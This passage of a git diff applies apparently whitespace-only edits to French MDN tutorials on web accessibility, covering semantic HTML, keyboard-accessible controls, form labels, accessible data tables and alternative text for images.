-Nous avons déjà parlé de l'importance d'une bonne sémantique, et pourquoi nous devons utiliser le bon élément HTML pour le bon usage. Il ne faut pas l'ignorer car c'est une des principales causes d'importants problèmes d'accessibilité si ce n'est pas fait correctement. +Nous avons déjà parlé de l'importance d'une bonne sémantique, et pourquoi nous devons utiliser le bon élément HTML pour le bon usage. Il ne faut pas l'ignorer car c'est une des principales causes d'importants problèmes d'accessibilité si ce n'est pas fait correctement. En vérité sur le Web, les développeurs font d'étranges choses avec HTML. Certains abus en HTML sont hérités de vieilles pratiques obsolètes pas complètement oubliées, d'autre sont juste de l'ignorance. Dans tous les cas, vous devez remplacer ce mauvais code partout où vous le verrez, dès que vous le pourrez. Parfois vous ne pourrez pas vous débarrasser du mauvais balisage — vos pages seront générées par quelque framework côté serveur dont vous n'aurez pas le contrôle total, ou vous aurez des contenus tiers (comme des bannières publicitaires) que nous ne contrôlerez pas. -L'objectif cependant n'est pas « tout ou rien » — toute amélioration que vous pouvez faire aidera la cause de l'accessibilité. +L'objectif cependant n'est pas « tout ou rien » — toute amélioration que vous pouvez faire aidera la cause de l'accessibilité. ### Contenus textuels @@ -141,7 +141,7 @@ Je vais ajouter ici un autre paragraphe. Ceci est la seconde sous-section de mon document. Je pense qu'elle est plus intéressante que la dernière. ``` -Si vous essayez notre version plus longue avec un lecteur d'écran (voir [la mauvaise sémantique](https://mdn.github.io/learning-area/accessibility/html/bad-semantics.html)), vous n'aurez pas une très bonne expérience – le lecteur d'écran n'a plus rien à utiliser comme indicateur, il ne peut pas récupérer une table des matières utilisable, et la page entière est vue comme un bloc unique, lu tout d'une traite. +Si vous essayez notre version plus longue avec un lecteur d'écran (voir [la mauvaise sémantique](https://mdn.github.io/learning-area/accessibility/html/bad-semantics.html)), vous n'aurez pas une très bonne expérience – le lecteur d'écran n'a plus rien à utiliser comme indicateur, il ne peut pas récupérer une table des matières utilisable, et la page entière est vue comme un bloc unique, lu tout d'une traite. Il y a aussi d'autres problèmes au-delà de l'accessibilité – le contenu est plus dur à mettre en forme avec le CSS, ou à manipuler avec JavaScript par exemple, car il n'y a pas d'élément à utiliser comme sélecteurs. @@ -230,7 +230,7 @@ Si vous essayez de naviguer à l'aide d'un lecteur d'écran, cela vous indiquera Les structures de table sont un vestige du passé – elles semblaient logiques lorsque le support CSS n’était pas répandu dans les navigateurs, mais elles semaient la confusion chez les utilisateurs de lecteurs d’écran, tout en étant mauvaises pour de nombreuses autres raisons (utilisation abusive des tableaux, nécessite plus de balisage, design manquant de souplesse). Ne les utilisez pas ! -Vous pouvez vérifier ces affirmations en comparant votre expérience antérieure avec un [exemple plus moderne de structure de site Web](https://mdn.github.io/learning-area/html/introduction-to-html/document_and_website_structure/), qui pourrait ressembler à ceci : +Vous pouvez vérifier ces affirmations en comparant votre expérience antérieure avec un [exemple plus moderne de structure de site Web](https://mdn.github.io/learning-area/html/introduction-to-html/document_and_website_structure/), qui pourrait ressembler à ceci : ```html <header> @@ -266,9 +266,9 @@ Vous pouvez vérifier ces affirmations en comparant votre expérience antérieur </footer> ``` -Si vous essayez notre exemple plus moderne de structure avec un lecteur d’écran, vous verrez que le balisage de présentation ne gêne plus ni ne rend la lecture du contenu confuse. Il est également beaucoup plus léger et plus petit en termes de taille de code, ce qui signifie une maintenance plus facile du code et une sollicitation moindre de la bande passante par l'utilisateur (particulièrement critique en cas de connexions lentes). +Si vous essayez notre exemple plus moderne de structure avec un lecteur d’écran, vous verrez que le balisage de présentation ne gêne plus ni ne rend la lecture du contenu confuse. Il est également beaucoup plus léger et plus petit en termes de taille de code, ce qui signifie une maintenance plus facile du code et une sollicitation moindre de la bande passante par l'utilisateur (particulièrement critique en cas de connexions lentes). -Une autre considération à prendre en compte lors de la création de dispositions consiste à utiliser des éléments sémantiques HTML5 comme dans l'exemple ci-dessus (voir [Référence des éléments HTML](/fr/docs/Web/HTML/Element#Content_sectioning)). Vous pouvez créer une disposition en utilisant uniquement des éléments {{htmlelement("div")}} imbriqués, mais il est préférable d'utiliser des éléments de sectionnement appropriés pour envelopper votre navigation principale ({{htmlelement("nav")}}), footer ({{htmlelement("footer")}}), en répétant des unités de contenu ({{htmlelement("article")}}), etc. Elles fournissent une sémantique supplémentaire aux lecteurs d’écran (et à d’autres outils) pour donner à l’utilisateur des indices supplémentaires sur le contenu qu’il navigue (voir [Prise en charge du lecteur d’écran pour les nouveaux éléments de section HTML5](http://www.weba11y.com/blog/2016/04/22/screen-reader-support-for-new-html5-section-elements/) pour une idée de la prise en charge du lecteur d’écran). +Une autre considération à prendre en compte lors de la création de dispositions consiste à utiliser des éléments sémantiques HTML5 comme dans l'exemple ci-dessus (voir [Référence des éléments HTML](/fr/docs/Web/HTML/Element#Content_sectioning)). Vous pouvez créer une disposition en utilisant uniquement des éléments {{htmlelement("div")}} imbriqués, mais il est préférable d'utiliser des éléments de sectionnement appropriés pour envelopper votre navigation principale ({{htmlelement("nav")}}), footer ({{htmlelement("footer")}}), en répétant des unités de contenu ({{htmlelement("article")}}), etc. Elles fournissent une sémantique supplémentaire aux lecteurs d’écran (et à d’autres outils) pour donner à l’utilisateur des indices supplémentaires sur le contenu qu’il navigue (voir [Prise en charge du lecteur d’écran pour les nouveaux éléments de section HTML5](http://www.weba11y.com/blog/2016/04/22/screen-reader-support-for-new-html5-section-elements/) pour une idée de la prise en charge du lecteur d’écran). > **Note :** Outre le fait que votre contenu présente une bonne sémantique et une présentation attrayante, il convient que son ordre source soit logique : vous pouvez toujours le placer où vous le souhaitez à l'aide de CSS par la suite, mais vous devez définir l'ordre exact des sources pour commencer. les utilisateurs de lecteur d’écran qui se liront auront du sens. @@ -276,11 +276,11 @@ Une autre considération à prendre en compte lors de la création de dispositio Par contrôles d'interface utilisateur, nous entendons les parties principales des documents web avec lesquelles les utilisateurs interagissent – le plus souvent des boutons, des liens et des contrôles de formulaire. Dans cette section, nous examinerons les problèmes d’accessibilité de base à prendre en compte lors de la création de tels contrôles. Des articles ultérieurs sur WAI-ARIA et le multimédia aborderont d'autres aspects de l'accessibilité de l'interface utilisateur. -L'un des aspects clés de l'accessibilité des contrôles de l'interface utilisateur est que, par défaut, les navigateurs leur permettent d'être manipulés par le clavier. Vous pouvez essayer ceci en utilisant notre exemple [accessibilité du clavier natif](https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html)) – ouvrez-le dans un nouvel onglet et essayez d’appuyer sur la touche de tabulation; après quelques appuis, vous devriez voir le focus de l'onglet commencer à se déplacer à travers les différents éléments qui peuvent être mis au point ; les éléments focalisés se voient attribuer un style par défaut en surbrillance dans chaque navigateur (il diffère légèrement d’un navigateur à l’autre) afin que vous puissiez déterminer quel élément est ciblé. +L'un des aspects clés de l'accessibilité des contrôles de l'interface utilisateur est que, par défaut, les navigateurs leur permettent d'être manipulés par le clavier. Vous pouvez essayer ceci en utilisant notre exemple [accessibilité du clavier natif](https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html) (voir le [code source](https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/accessibility/native-keyboard-accessibility.html)) – ouvrez-le dans un nouvel onglet et essayez d’appuyer sur la touche de tabulation; après quelques appuis, vous devriez voir le focus de l'onglet commencer à se déplacer à travers les différents éléments qui peuvent être mis au point ; les éléments focalisés se voient attribuer un style par défaut en surbrillance dans chaque navigateur (il diffère légèrement d’un navigateur à l’autre) afin que vous puissiez déterminer quel élément est ciblé.  -Vous pouvez ensuite appuyer sur Entrée/Retour pour suivre un lien sélectionné ou appuyer sur un bouton (nous avons inclus du JavaScript pour que les boutons alertent un message), ou commencer à taper pour saisir du texte dans une entrée de texte (les autres éléments de formulaire ont des contrôles différents, par exemple, l'élément {{htmlelement("select")}} peut avoir ses options affichées et alterner entre les touches fléchées haut et bas). +Vous pouvez ensuite appuyer sur Entrée/Retour pour suivre un lien sélectionné ou appuyer sur un bouton (nous avons inclus du JavaScript pour que les boutons alertent un message), ou commencer à taper pour saisir du texte dans une entrée de texte (les autres éléments de formulaire ont des contrôles différents, par exemple, l'élément {{htmlelement("select")}} peut avoir ses options affichées et alterner entre les touches fléchées haut et bas). > **Note :** Différents navigateurs peuvent avoir différentes options de contrôle du clavier disponibles. Voir comment [gérer les problèmes courants d'accessibilité](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibilité#Using_native_keyboard_accessibility) pour plus de détails. @@ -304,23 +304,23 @@ Vous obtenez essentiellement ce comportement gratuitement, en utilisant simpleme <h2>formulaire</h2> <form> - <div> - <label for="name"> Remplis ton nom :</label> - <input type="text" id="name" name="name"> - </div> - <div> - <label for="age"> Entrez votre âge :</label> - <input type="text" id="age" name="age"> - </div> - <div> - <label for="mood"> Choisissez votre humeur :</label> - <select id="mood" name="mood"> - <option>Heureux</option> + <div> + <label for="name"> Remplis ton nom :</label> + <input type="text" id="name" name="name"> + </div> + <div> + <label for="age"> Entrez votre âge :</label> + <input type="text" id="age" name="age"> + </div> + <div> + <label for="mood"> Choisissez votre humeur :</label> + <select id="mood" name="mood"> + <option>Heureux</option> <option> Triste </option> <option> Fâché </option> - <option> Préoccupé </option> - </select> - </div> + <option> Préoccupé </option> + </select> + </div> </form> ``` @@ -334,7 +334,7 @@ Cependant, il est encore une fois que les gens font parfois des choses étranges <div data-message="This is from the third button"> Et moi!</div> ``` -Il est toutefois déconseillé d’utiliser un tel code. Vous perdriez immédiatement l’accessibilité au clavier natif que vous auriez obtenue si vous aviez utilisé des éléments {{htmlelement("button")}}. De plus, vous n’obtenez aucun des styles CSS par défaut que les boutons ont. +Il est toutefois déconseillé d’utiliser un tel code. Vous perdriez immédiatement l’accessibilité au clavier natif que vous auriez obtenue si vous aviez utilisé des éléments {{htmlelement("button")}}. De plus, vous n’obtenez aucun des styles CSS par défaut que les boutons ont. #### Remettre l'accessibilité au clavier @@ -361,7 +361,7 @@ document.onkeydown = function(e) { } ``` -Ici, nous ajoutons un écouteur à l’objet `document` pour détecter le moment où un bouton a été appuyé sur le clavier. Nous vérifions quel bouton a été pressé via la propriété [`keyCode`](/fr/docs/Web/API/KeyboardEvent/keyCode) de l'objet événement; s'il s'agit du code clé qui correspond Return/Enter, nous exécutons la fonction stockée dans le gestionnaire du bouton `onclick` à l'aide de `document.activeElement.onclick()`. [`activeElement`](/fr/docs/Web/API/Document/activeElement) nous donne l'élément qui est actuellement ciblé sur la page. +Ici, nous ajoutons un écouteur à l’objet `document` pour détecter le moment où un bouton a été appuyé sur le clavier. Nous vérifions quel bouton a été pressé via la propriété [`keyCode`](/fr/docs/Web/API/KeyboardEvent/keyCode) de l'objet événement; s'il s'agit du code clé qui correspond Return/Enter, nous exécutons la fonction stockée dans le gestionnaire du bouton `onclick` à l'aide de `document.activeElement.onclick()`. [`activeElement`](/fr/docs/Web/API/Document/activeElement) nous donne l'élément qui est actuellement ciblé sur la page. > **Note :** N'oubliez pas que cette technique ne fonctionnera que si vous définissez vos gestionnaires d'événements d'origine via les propriétés du gestionnaire d'événements (par exemple, onclick), `addEventListener` ne fonctionnera pas. @@ -371,7 +371,7 @@ C’est beaucoup de tracas supplémentaire pour reconstruire la fonctionnalité. Les étiquettes de texte de contrôle UI sont très utiles pour tous les utilisateurs, mais leur mise au point est particulièrement importante pour les utilisateurs handicapés. -Vous devez vous assurer que les libellés des boutons et des liens sont compréhensibles et distinctifs. Ne vous contentez pas d'utiliser « Cliquez ici » pour vos étiquettes, car les utilisateurs et utilisatrices de lecteur d'écran créent parfois une liste de boutons et de contrôles de formulaire. La capture d'écran suivante montre nos commandes répertoriées par VoiceOver sur Mac. +Vous devez vous assurer que les libellés des boutons et des liens sont compréhensibles et distinctifs. Ne vous contentez pas d'utiliser « Cliquez ici » pour vos étiquettes, car les utilisateurs et utilisatrices de lecteur d'écran créent parfois une liste de boutons et de contrôles de formulaire. La capture d'écran suivante montre nos commandes répertoriées par VoiceOver sur Mac.  @@ -387,7 +387,7 @@ c'est un mauvais texte du lien : <p> Les baleines sont des créatures vraiment impressionnantes. Pour en savoir plus sur les baleines, <a href="whales.html">cliquez ici</a>.</p> ``` -> **Note :** Vous pouvez trouver beaucoup plus d'informations sur l'implémentation de liens et les meilleures pratiques dans notre article sur la [création d'hyperliens](/fr/docs/Apprendre/HTML/Introduction_à_HTML/Creating_hyperlinks). Vous pouvez également voir quelques bons et mauvais exemples dans [Bons-liens.html](https://mdn.github.io/learning-area/accessibility/html/good-links.html) et [Mauvais-liens.html](https://mdn.github.io/learning-area/accessibility/html/bad-links.html). +> **Note :** Vous pouvez trouver beaucoup plus d'informations sur l'implémentation de liens et les meilleures pratiques dans notre article sur la [création d'hyperliens](/fr/docs/Apprendre/HTML/Introduction_à_HTML/Creating_hyperlinks). Vous pouvez également voir quelques bons et mauvais exemples dans [Bons-liens.html](https://mdn.github.io/learning-area/accessibility/html/good-links.html) et [Mauvais-liens.html](https://mdn.github.io/learning-area/accessibility/html/bad-links.html). Les libellés de formulaire sont également importantes pour vous donner un indice sur ce que vous devez entrer dans chaque entrée de formulaire. Ce qui suit semble être un exemple assez raisonnable : @@ -412,7 +412,7 @@ Avec le code comme celui-ci, le label sera clairement associée à input; la des En prime, dans la plupart des navigateurs, associer a un label à une form input signifie que vous pouvez cliquer sur celle-ci pour sélectionner / activer l'élément label. Cela donne à input une zone de résultats plus grande, ce qui facilite la sélection -> **Note :** vous pouvez voir des exemples de bonnes et de mauvaises de formulaire dans [exemple de bon formulaire](https://mdn.github.io/learning-area/accessibility/html/good-form.html) et [exemple de mauvais formulaire](https://mdn.github.io/learning-area/accessibility/html/bad-form.html). +> **Note :** vous pouvez voir des exemples de bonnes et de mauvaises de formulaire dans [exemple de bon formulaire](https://mdn.github.io/learning-area/accessibility/html/good-form.html) et [exemple de mauvais formulaire](https://mdn.github.io/learning-area/accessibility/html/bad-form.html). ## Tableaux de données accessibles @@ -447,10 +447,10 @@ Mais cela pose des problèmes : un utilisateur de lecteur d’écran ne peut pas Regardez maintenant notre tableau d'exemple sur les groupes punk – vous pouvez voir quelques aides à l'accessibilité au travail ici : -- Les en-têtes de tableau sont définis à l'aide d'éléments {{htmlelement("th")}} — vous pouvez également spécifier s'il s'agit d'en-têtes de lignes ou de colonnes à l'aide de l'attribut `scope`. Cela vous donne des groupes complets de données qui peuvent être consommés par les lecteurs d'écran en tant qu'unités simples +- Les en-têtes de tableau sont définis à l'aide d'éléments {{htmlelement("th")}} — vous pouvez également spécifier s'il s'agit d'en-têtes de lignes ou de colonnes à l'aide de l'attribut `scope`. Cela vous donne des groupes complets de données qui peuvent être consommés par les lecteurs d'écran en tant qu'unités simples - L'élément {{htmlelement("caption")}} et l'attribut summary `<table>` effectuent tous deux des travaux similaires. Ils agissent en tant que texte alternatif pour une table, offrant ainsi à un utilisateur de lecteur d'écran un résumé rapide et utile du contenu de la table. `<caption>` est généralement préféré car il rend son contenu accessible aux utilisateurs malvoyants, qui pourraient également le trouver utile. Vous n'avez pas vraiment besoin des deux. -> **Note :** voir notre article [Tableaux HTML : dispositions avancées et accessibilité](/fr/docs/Apprendre/HTML/Tableaux/Advanced) pour plus de détails sur les tables de données accessibles. +> **Note :** voir notre article [Tableaux HTML : dispositions avancées et accessibilité](/fr/docs/Apprendre/HTML/Tableaux/Advanced) pour plus de détails sur les tables de données accessibles. ## Alternatives textuelles @@ -472,11 +472,11 @@ Nous avons un exemple simple écrit, [accessible-image.html](http://mdn.github.i <p id="dino-label"> Tyrannosaure rouge Rex de Mozilla: Dinosaure à deux jambes, debout comme un être humain, avec des armes légères et une grosse tête avec beaucoup de dents acérées.</p> -La première image, lorsqu'elle est visualisée par un lecteur d'écran, n'offre pas beaucoup d'aide à l'utilisateur. VoiceOver, par exemple, lit « /dinosaur.png, image ». Il lit le nom du fichier pour essayer de fournir de l'aide. Dans cet exemple, l'utilisateur ou l’utilisatrice saura au moins qu'il s'agit d'un dinosaure, mais les fichiers peuvent souvent être chargés avec des noms de fichiers générés par une machine (par exemple, à partir d'un appareil photo numérique) et ces noms de fichiers ne fourniront probablement aucun contexte au contenu de l'image. +La première image, lorsqu'elle est visualisée par un lecteur d'écran, n'offre pas beaucoup d'aide à l'utilisateur. VoiceOver, par exemple, lit « /dinosaur.png, image ». Il lit le nom du fichier pour essayer de fournir de l'aide. Dans cet exemple, l'utilisateur ou l’utilisatrice saura au moins qu'il s'agit d'un dinosaure, mais les fichiers peuvent souvent être chargés avec des noms de fichiers générés par une machine (par exemple, à partir d'un appareil photo numérique) et ces noms de fichiers ne fourniront probablement aucun contexte au contenu de l'image. > **Note :** c'est pourquoi vous ne devriez jamais inclure de contenu textuel dans une image. Les lecteurs d'écran ne peuvent tout simplement pas y accéder. Il y a aussi d'autres inconvénients - vous ne pouvez pas le sélectionner et le copier/coller. Juste ne le faite pas ! -Quand un lecteur d'écran rencontre la deuxième image, il lit l'intégralité de l'attribut alt – « Un Tyrannosaure Rex rouge : Un dinosaure à deux pattes se tenant droit comme un humain, avec des armes de petit calibre et une grosse tête avec beaucoup de dents acérées. » +Quand un lecteur d'écran rencontre la deuxième image, il lit l'intégralité de l'attribut alt – « Un Tyrannosaure Rex rouge : Un dinosaure à deux pattes se tenant droit comme un humain, avec des armes de petit calibre et une grosse tête avec beaucoup de dents acérées. » Cela met en évidence l’importance non seulement d’utiliser des noms de fichiers significatifs au cas où ce qui est appelé **alt text** n’est pas disponible, mais aussi de s’assurer que le texte alternatif est fourni dans les attributs `alt` chaque fois que possible. Notez que le contenu de l'attribut `alt` doit toujours fournir une représentation directe de l'image et de ce qu'elle transmet visuellement. Aucune connaissance personnelle ou description supplémentaire ne devrait être incluse ici, car elle n’est pas utile pour les personnes qui n’ont jamais rencontré l’image auparavant. @@ -498,11 +498,11 @@ Jetons un autre coup d'oeil à la quatrième méthode : Dans ce cas, nous n'utilisons pas du tout l'attribut `alt` Nous avons plutôt présenté notre description de l'image sous forme de paragraphe de texte normal, en lui attribuant un `id` puis nous avons utilisé l'attribut `aria-labelledby` pour : faire référence à cela `id`, ce qui amène les lecteurs d’écran à utiliser ce paragraphe comme alt text/label pour cette image. Ceci est particulièrement utile si vous souhaitez utiliser le même texte comme étiquette pour plusieurs images – quelque chose qui n’est pas possible avec `alt`. -> **Note :** `aria-labelledby` fait partie de la spécification [WAI ARIA](https://www.w3.org/TR/wai-aria-1.1/), qui permet aux développeurs d'ajouter une sémantique supplémentaire à leur balisage afin d'améliorer l'accessibilité du lecteur d'écran, le cas échéant. Pour en savoir plus sur son fonctionnement, lisez notre article [WAI-ARIA basic](/fr/docs/Learn/Accessibility/WAI-ARIA_basics). +> **Note :** `aria-labelledby` fait partie de la spécification [WAI ARIA](https://www.w3.org/TR/wai-aria-1.1/), qui permet aux développeurs d'ajouter une sémantique supplémentaire à leur balisage afin d'améliorer l'accessibilité du lecteur d'écran, le cas échéant. Pour en savoir plus sur son fonctionnement, lisez notre article [WAI-ARIA basic](/fr/docs/Learn/Accessibility/WAI-ARIA_basics). ### Autres mécanismes alternatifs de texte -Les images ont également d'autres mécanismes disponibles pour fournir un texte descriptif. Par exemple, il existe un attribut `longdesc` destiné à pointer sur un document web distinct contenant une description étendue de l'image, par exemple : +Les images ont également d'autres mécanismes disponibles pour fournir un texte descriptif. Par exemple, il existe un attribut `longdesc` destiné à pointer sur un document web distinct contenant une description étendue de l'image, par exemple : ```html <img src="dinosaur.png" longdesc="dino-info.html"> @@ -510,7 +510,7 @@ Les images ont également d'autres mécanismes disponibles pour fournir un texte Cela semble être une bonne idée, en particulier pour les infographies telles que les grands graphiques contenant de nombreuses informations, qui pourraient peut-être être représentées sous forme de tableau de données accessible (voir section précédente). Cependant, longdesc n’est pas toujours pris en charge par les lecteurs d’écran et le contenu est totalement inaccessible aux utilisateurs autres que les lecteurs d’écran. Il est sans doute préférable d’inclure la description longue sur la même page que l’image, ou d’y accéder par un lien régulier. -HTML5 comprend deux nouveaux éléments — {{htmlelement("figure")}} et {{htmlelement("figcaption")}} — qui sont supposés associer une figure quelconque (ce peut être n'importe quoi, pas nécessairement une image) à une légende de figure : +HTML5 comprend deux nouveaux éléments — {{htmlelement("figure")}} et {{htmlelement("figcaption")}} — qui sont supposés associer une figure quelconque (ce peut être n'importe quoi, pas nécessairement une image) à une légende de figure : ```html <figure> @@ -530,7 +530,7 @@ Malheureusement, la plupart des lecteurs d’écran ne semblent pas encore assoc </h3> ``` -Il peut arriver qu'une image soit incluse dans la conception d'une page, mais son objectif principal est la décoration visuelle. Vous remarquerez dans l'exemple de code ci-dessus que l'attribut `alt` de l'image est vide – il s'agit pour que les lecteurs d'écran reconnaissent l'image, mais n'essayent pas de décrire l'image (au lieu de cela, ils diraient simplement « image », ou similaire) . +Il peut arriver qu'une image soit incluse dans la conception d'une page, mais son objectif principal est la décoration visuelle. Vous remarquerez dans l'exemple de code ci-dessus que l'attribut `alt` de l'image est vide – il s'agit pour que les lecteurs d'écran reconnaissent l'image, mais n'essayent pas de décrire l'image (au lieu de cela, ils diraient simplement « image », ou similaire) . La raison d'utiliser un vide `alt` au lieu de ne pas l'inclure est due au fait que de nombreux lecteurs d'écran annoncent l'URL complète de l'image si aucun `alt` n'est fourni. Dans l'exemple ci-dessus, l'image agit comme une décoration visuelle de l'en-tête auquel elle est associée. Dans ce cas, et dans les cas où une image est uniquement une décoration et n'a pas de valeur de contenu, vous devez mettre un vide `alt` sur vos images. Une autre alternative consiste à utiliser l'attribut aria role role = "presentation" – cela empêche également les lecteurs d'écrans de lire du texte alternatif. diff --git a/files/fr/learn/accessibility/index.md b/files/fr/learn/accessibility/index.md index dc0aa87bd3..28d9839bf0 100644 --- a/files/fr/learn/accessibility/index.md +++ b/files/fr/learn/accessibility/index.md @@ -14,26 +14,26 @@ original_slug: Apprendre/a11y --- {{LearnSidebar}} -Apprendre le HTML, le CSS et le JavaScript est utile si vous voulez devenir développeur web, mais vos connaissances devront aller au delà de la simple utilisation des technologies — vous devrez les utiliser de manière responsable, de la bonne manière, de façon à maximiser l'audience de vos sites web et ne priver personne de leur usage. Pour y parvenir, vous devrez respecter les bonnes pratiques (lesquelles sont démontrées à travers les sujets du [HTML](/fr/Apprendre/HTML), du [CSS](/fr/Apprendre/CSS) et du [JavaScript](/fr/Apprendre/JavaScript)), effectuer [des tests sur les différents navigateurs](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing) et prendre l'accessibilité en considération dès le départ. Dans ce module, nous allons traiter de cette dernière en détail. +Apprendre le HTML, le CSS et le JavaScript est utile si vous voulez devenir développeur web, mais vos connaissances devront aller au delà de la simple utilisation des technologies — vous devrez les utiliser de manière responsable, de la bonne manière, de façon à maximiser l'audience de vos sites web et ne priver personne de leur usage. Pour y parvenir, vous devrez respecter les bonnes pratiques (lesquelles sont démontrées à travers les sujets du [HTML](/fr/Apprendre/HTML), du [CSS](/fr/Apprendre/CSS) et du [JavaScript](/fr/Apprendre/JavaScript)), effectuer [des tests sur les différents navigateurs](/fr/docs/Learn/Tools_and_testing/Cross_browser_testing) et prendre l'accessibilité en considération dès le départ. Dans ce module, nous allons traiter de cette dernière en détail. ## Prérequis -Pour tirer le meilleur parti de ce module, il serait judicieux de parcourir les sections relatives à [HTML](/fr/Apprendre/HTML), [CSS](/fr/Apprendre/CSS) et [JavaScript](/fr/Apprendre/JavaScript) en premier (au moins les deux premiers modules de chacune de ces sections) ou, peut-être encore mieux, de travailler les parties pertinentes du module d'accessibilité au fur et à mesure que vous travaillez les sujets technologiques connexes. +Pour tirer le meilleur parti de ce module, il serait judicieux de parcourir les sections relatives à [HTML](/fr/Apprendre/HTML), [CSS](/fr/Apprendre/CSS) et [JavaScript](/fr/Apprendre/JavaScript) en premier (au moins les deux premiers modules de chacune de ces sections) ou, peut-être encore mieux, de travailler les parties pertinentes du module d'accessibilité au fur et à mesure que vous travaillez les sujets technologiques connexes. -> **Note :** Si vous travaillez sur un ordinateur, une tablette ou un autre appareil sur lequel vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer la plupart des exemples de code dans un programme de code en ligne tel que [JSBin](https://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). +> **Note :** Si vous travaillez sur un ordinateur, une tablette ou un autre appareil sur lequel vous n'avez pas la possibilité de créer vos propres fichiers, vous pouvez essayer la plupart des exemples de code dans un programme de code en ligne tel que [JSBin](https://jsbin.com/) ou [Thimble](https://thimble.mozilla.org/). ## Guides - [Qu'est-ce que l'accessibilité ?](/fr/docs/Learn/Accessibility/What_is_accessibility) - - : Cet article amorce le module avec un bon aperçu de ce qu'est réellement l'accessibilité – cela inclut les groupes de personnes que nous devons considérer et pourquoi, quels outils les différentes personnes utilisent pour interagir avec le Web et comment nous pouvons intégrer l'accessibilité dans le processus de développement web. + - : Cet article amorce le module avec un bon aperçu de ce qu'est réellement l'accessibilité – cela inclut les groupes de personnes que nous devons considérer et pourquoi, quels outils les différentes personnes utilisent pour interagir avec le Web et comment nous pouvons intégrer l'accessibilité dans le processus de développement web. - [HTML : une bonne base pour l'accessibilité](/fr/docs/Learn/Accessibility/HTML) - : Une grande partie du contenu web peut être rendue accessible simplement lorsqu'on utilise les bons éléments HTML dans les bons cas. Cet article examine en détail comment HTML peut être utilisé pour assurer une accessibilité maximale. -- [Meilleures pratiques d'accessibilité CSS et JavaScript](/fr/docs/Learn/Accessibility/CSS_and_JavaScript) - - : Lorsqu'ils sont utilisés correctement, CSS et JavaScript peuvent permettre des expériences web accessibles… mais ils peuvent considérablement nuire à l'accessibilité s'ils sont mal utilisés. Cet article décrit certaines pratiques exemplaires pour CSS et JavaScript qui doivent être prises en compte afin de s'assurer que le contenu, même complexe, soit le plus accessible possible. +- [Meilleures pratiques d'accessibilité CSS et JavaScript](/fr/docs/Learn/Accessibility/CSS_and_JavaScript) + - : Lorsqu'ils sont utilisés correctement, CSS et JavaScript peuvent permettre des expériences web accessibles… mais ils peuvent considérablement nuire à l'accessibilité s'ils sont mal utilisés. Cet article décrit certaines pratiques exemplaires pour CSS et JavaScript qui doivent être prises en compte afin de s'assurer que le contenu, même complexe, soit le plus accessible possible. - [Principes de base du WAI-ARIA](/fr/docs/Learn/Accessibility/WAI-ARIA_basics) - - : À la suite de l'article précédent, il est parfois compliqué de créer des contrôles complexes et accessible pour une interface utilisateur qui contient du HTML non sémantique et du contenu dynamique mis à jour grâce à JavaScript. WAI-ARIA est une technologie qui peut aider à résoudre de tels problèmes en ajoutant une sémantique supplémentaire que les navigateurs et les technologies d'assistance peuvent reconnaître et utiliser afin de permettre aux utilisateurs de savoir ce qui se passe. Nous allons montrer ici comment l'utiliser, à un niveau basique, pour améliorer l'accessibilité. + - : À la suite de l'article précédent, il est parfois compliqué de créer des contrôles complexes et accessible pour une interface utilisateur qui contient du HTML non sémantique et du contenu dynamique mis à jour grâce à JavaScript. WAI-ARIA est une technologie qui peut aider à résoudre de tels problèmes en ajoutant une sémantique supplémentaire que les navigateurs et les technologies d'assistance peuvent reconnaître et utiliser afin de permettre aux utilisateurs de savoir ce qui se passe. Nous allons montrer ici comment l'utiliser, à un niveau basique, pour améliorer l'accessibilité. - [Accessibilité pour les contenus multimédias](/fr/docs/Learn/Accessibility/Multimedia) - - : Un autre type de contenu susceptible de créer des problèmes d'accessibilité est le multimédia : les contenus vidéo, audio et les image doivent être dotés de textes alternatifs appropriés afin qu'ils puissent être compris par les technologies d'assistance et leurs utilisateurs. Cet article montre comment. + - : Un autre type de contenu susceptible de créer des problèmes d'accessibilité est le multimédia : les contenus vidéo, audio et les image doivent être dotés de textes alternatifs appropriés afin qu'ils puissent être compris par les technologies d'assistance et leurs utilisateurs. Cet article montre comment. - [Accessibilité mobile](/fr/docs/Learn/Accessibility/Mobile) - : On accède désormais au Web depuis son smartphone. Les plateformes iOS et Android possèdent des outils d'accessibilité à part entière. Il est tout aussi important de prendre en compte l'accessibilité de votre contenu web sur ces plateformes. Cet article examine les considérations d'accessibilité spécifiques au mobile. diff --git a/files/fr/learn/accessibility/mobile/index.md b/files/fr/learn/accessibility/mobile/index.md index 026f65153c..8fa38ba1a1 100644 --- a/files/fr/learn/accessibility/mobile/index.md +++ b/files/fr/learn/accessibility/mobile/index.md @@ -21,7 +21,7 @@ L'accès Web sur les appareils mobiles étant si populaire et les plates-formes <th scope="row">Prerequisites:</th> <td> Connaissances de base en informatique, compréhension de base de HTML, - CSS et JavaScript et compréhension de la <a + CSS et JavaScript et compréhension de la <a href="/fr/docs/Learn/Accessibility" >previous articles in the course</a >. @@ -41,7 +41,7 @@ L'accès Web sur les appareils mobiles étant si populaire et les plates-formes L’état de l’accessibilité - et la prise en charge des normes Web en général - est bon pour les appareils mobiles modernes. Le temps où les appareils mobiles utilisaient des technologies Web complètement différentes des navigateurs de bureau, forçait les développeurs à utiliser le sniffing de navigateur et à leur servir des sites complètement séparés (même si de nombreuses entreprises détectent encore l'utilisation d'appareils mobiles et leur servent un domaine distinct). -De nos jours, les appareils mobiles en général peuvent gérer des sites Web "complets", et les principales plates-formes ont même des lecteurs d'écran intégrés pour permettre aux utilisateurs malvoyants de les utiliser avec succès. Les navigateurs mobiles modernes ont tendance à avoir un bon support pour [WAI-ARIA](/fr/docs/Learn/Accessibility/WAI-ARIA_basics), aussi +De nos jours, les appareils mobiles en général peuvent gérer des sites Web "complets", et les principales plates-formes ont même des lecteurs d'écran intégrés pour permettre aux utilisateurs malvoyants de les utiliser avec succès. Les navigateurs mobiles modernes ont tendance à avoir un bon support pour [WAI-ARIA](/fr/docs/Learn/Accessibility/WAI-ARIA_basics), aussi Pour rendre un site Web accessible et utilisable sur mobile, il vous suffit de suivre les bonnes 